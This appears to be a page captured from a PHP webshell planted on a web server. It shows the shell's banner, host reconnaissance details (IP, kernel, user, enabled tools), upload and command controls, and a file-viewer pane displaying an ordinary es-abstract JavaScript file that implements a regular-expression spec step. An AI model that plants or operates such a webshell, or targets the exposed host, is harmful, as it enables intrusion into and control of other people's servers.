403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/philiprehberger-nextjs/node_modules/es-abstract/2025/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/philiprehberger-nextjs/node_modules/es-abstract/2025/UpdateModifiers.js
'use strict';

var $TypeError = require('es-errors/type');
var callBound = require('call-bound');
var hasOwn = require('hasown');

var isRegExpRecord = require('../helpers/records/regexp-record');

var $charAt = callBound('String.prototype.charAt');

// https://262.ecma-international.org/16.0/#sec-updatemodifiers

module.exports = function UpdateModifiers(rer, add, remove) {
	if (!isRegExpRecord(rer)) {
		throw new $TypeError('Assertion failed: `rer` must be a RegExp Record');
	}
	if (typeof add !== 'string') {
		throw new $TypeError('Assertion failed: `add` must be a string');
	}
	if (typeof remove !== 'string') {
		throw new $TypeError('Assertion failed: `remove` must be a string');
	}

	// 1. Assert: add and remove have no elements in common.
	var adds = { __proto__: null };
	var removes = { __proto__: null };
	for (var i = 0; i < add.length; i++) {
		var toAdd = $charAt(add, i);
		adds[toAdd] = true;
	}
	for (var j = 0; j < remove.length; j++) {
		var toRemove = $charAt(remove, j);
		if (hasOwn(adds, toRemove)) {
			throw new $TypeError('Assertion failed: `add` and `remove` have elements in common');
		}
		removes[toRemove] = true;
	}

	var ignoreCase = rer['[[IgnoreCase]]']; // step 2

	var multiline = rer['[[Multiline]]']; // step 3

	var dotAll = rer['[[DotAll]]']; // step 4

	var unicode = rer['[[Unicode]]']; // step 5

	var unicodeSets = rer['[[UnicodeSets]]']; // step 6

	var capturingGroupsCount = rer['[[CapturingGroupsCount]]']; // step 7

	if (hasOwn(removes, 'i')) {
		ignoreCase = false; // step 8
	} else if (hasOwn(adds, 'i')) {
		ignoreCase = true; // step 9
	}

	if (hasOwn(removes, 'm')) {
		multiline = false; // step 10
	} else if (hasOwn(adds, 'm')) {
		multiline = true; // step 11
	}

	if (hasOwn(removes, 's')) {
		dotAll = false; // step 12
	} else if (hasOwn(adds, 's')) {
		dotAll = true; // step 13
	}

	return {
		'[[IgnoreCase]]': !!ignoreCase,
		'[[Multiline]]': !!multiline,
		'[[DotAll]]': !!dotAll,
		'[[Unicode]]': !!unicode,
		'[[UnicodeSets]]': !!unicodeSets,
		'[[CapturingGroupsCount]]': capturingGroupsCount
	}; // step 14
};

Youez - 2016 - github.com/yon3zu
LinuXploit